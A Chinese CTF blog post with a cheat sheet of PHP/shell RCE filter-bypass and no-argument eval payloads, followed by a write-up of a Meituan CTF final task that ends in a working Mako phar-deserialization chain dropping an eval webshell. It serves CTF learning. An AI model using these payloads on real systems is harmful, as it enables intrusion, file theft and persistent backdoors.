      Input Ouput
      static-sh ./flag.txt ./flag.txt: line 1: flag{this_is_a_test}: not found
      paste ./flag.txt /etc/passwd flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash…
      diff diff ./flag.txt /etc/passwd
      curl file:///home/coffee/flag flag{this_is_a_test}
    • 通配符绕过,比如可以使用/b??/c?t f*该方法有时候会因为输出过多或者运行时间超出限制被强行中断

    • 插入"" <> '' \绕过,比如ca''t flag.txt或者ca\t flag.txt

    • 内联执行,将反引号内命令的输出作为输入执行,如: cat `ls`,或者是cat ${ls}

    • 使用变量替换,如$c=a;cat fl$cg.php

  • 拦截空格,空格可以用以下字符串代替:

    < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,比如:

    1
    2
    3
    4
    5
    6
    cat%09flag
    {cat,flag.txt}
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat<flag.txt
    cat<>flag.txt
  • .操作符
    eval函数中用.把被拦截的关键字给分开,比如

    1
    2
    <?php 
    eval(include "/www/lo"."g/nginx/access.log");
  • 逃逸,绕过太难了,直接润出来
    比如

    1
    2
    c=include$_GET[1]?> 
    c=eval($_GET[1])
  • 借壳生蛋

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $env = $_GET['env'];
    if(isset($env)){
    putenv($env);
    system("whoami");
    }else{
    highlight_file(__FILE__);
    }

    ?env=BASH_FUNC_whoami%%=() { ls; }
    whoamisystem(“whoami”)启动的bash环境的函数,相当于我们注册了一个whoami替换它

  • 构造
    在PHP7中,可以这样调用函数:

    1
    2
    3
    ('phpinfo')();
    $a = "phpinfo";$$a;
    ...

    然后就可以使用异或^,取反~,自增++,自减--等方法构造想要的字符然后进行动态函数调用。

    构造字符的时候,可以利用一些PHP的特性:

    • PHP中的NAN和INF:
      1
      2
      3
      4
      5
      6
      NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

      INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

      $_=C/C;//NAN
      $_=1/C//INF

2.无回显

  • 利用sleep()之类的函数来根据服务器响应的时间一个一个字符获获取
    注:该方法局限性很大,且容易受到网络波动影响,不建议优先考虑使用

  • 利用dns外带http://dnslog.cn/
    注:该方法也有一定的局限性,有长度限制而且不支持特殊字符

  • 利用重定向,将输出重定向到可访问网页中

  • 反弹shell
    如果题目不出网只能寄

  • 命令注入,尝试在命令后面加上||%0a%0d|;&等符号将原先重定向到/dev/null的命令分割开

3.include

  • 伪协议
  • 日志包含
    UA写马,包含access.log
  • allow_url_include=ture可以使用的data
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    data类型扩展:

    data类型扩展
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
    Tips: PHP具有极强的鲁棒性特别耐操,尤其是伪协议这块。
    1
    2
    3
    4
    5
    6
    7
    原payload:php://filter/convert.base64-encode/resource=index.php

    我可以插♂ 入一些奇怪的东西
    php://filter/convert.base64-encode/114514/resource=index.php

    我可以大大小小
    php://FiLTer/convert.base64-encode/resource=index.php

4.无参命令执行

这种就基本没活能整了,已经十分固定下来了

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
  • '/[^\W]+\((?R)?\)/'的解释

    这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

    以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

  • 一些有用的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件

show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

PAYLOAD

  1. 请求头

    1
    2
    3
    GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
    .....
    flag: system('id');
  2. get_defined_vars()

    1
    ?code=eval(end(current(get_defined_vars())));&flag=system('ls');

    利用全局变量进RCE

get_defined_vars():返回由所有已定义变量所组成的数组,会返回 _GET,_POST, _COOKIE, _FILES全局变量的值,返回数组顺序为get->post->cookie->files
current:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值

3.session_start()

  • session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()

  • session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
    文件读取

  • show_source(session_id(session_start()));

  • var_dump(file_get_contents(session_id(session_start())))

  • highlight_file(session_id(session_start()));

  • readfile(session_id(session_start()));
    抓包传入Cookie: PHPSESSID=(想读的文件)即可

  
 CTF WEB RCE

美团CTF决赛复现 mako

太菜了,被大佬带进决赛了,最后就签个到

环境

密码:1skr

下面部分是我在比赛的时候思考过的

1.开始

页面一进来,十分的清爽,毛都没有,就一个上传文件的东西

随便传点东西,发现是来者不拒,啥都能传,但啥都干不了

访问1.php只会出现404not found这是最令人异或的一点

因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里

可以看见,文件并没有被上传到/var/www/html/这个目录下面

而文件被上传到了/var/www/html/mako/uploads这个目录下

可以肯定的是,文件上传是整不了活了

2.审计

通过搜索关键词,在mako/app/reources/views/home.tpl.php里找到到了首页的源码

很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。

这就很令人苦恼,我当时尝试了一下,使用软链接

直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序

目标也明确了,肯定得想办法执行readFlag,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发

做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize,结果是毛都没搜到。

我经验太少了,当时没想到用phar

3.复现

mako/app/controllers/ImagesController.php文件中

1
2
3
4
5
6
7
8
9
public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}

可以看到,文件名是不做任何过滤的

而在mako/vendo/mako/framework/src/mako/pixl/image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;

$this->processor = $processor;

// Make sure that the image exists

if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}

// Set the image

$this->processor->open($image);
}

使用了能触发phar反序列化的file_exists函数

关键函数找到了,现在找链子吧

搜索__destruct(),干扰项不多,可以直接开撸

好家伙,我直接好家伙,一条龙服务了属于是qwq

4.攻击

这里搬一手Arr3stY0u战队的poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

<?php
namespace mako\file{
class FileSystem{
}
}

namespace mako\session\stores{
use mako\file\FileSystem;

class File{
protected $fileSystem;
protected $sessionPath;

public function __construct(){
$this->fileSystem = new FileSystem();
$this->sessionPath = '/var/www/mako/public/';
}
}
}

namespace mako\session{
use mako\session\stores\File;

class Session{
protected $autoCommit;
protected $destroyed = false;
protected $sessionId;
protected $sessionData = [];
protected $store;

public function __construct(){
$this->autoCommit = true;
$this->destroyed = false;
$this->store = new File();
$this->sessionId = 'shell.php';
$this->sessionData = ['a'=>'<?php eval($_POST[1]);?>'];
}
}
}

namespace {
$exp = new mako\session\Session();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exp);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
};

上传文件

getshell

flag is here

5.总结反思

经验不足,做题不够,欠练


:D 一言句子获取中...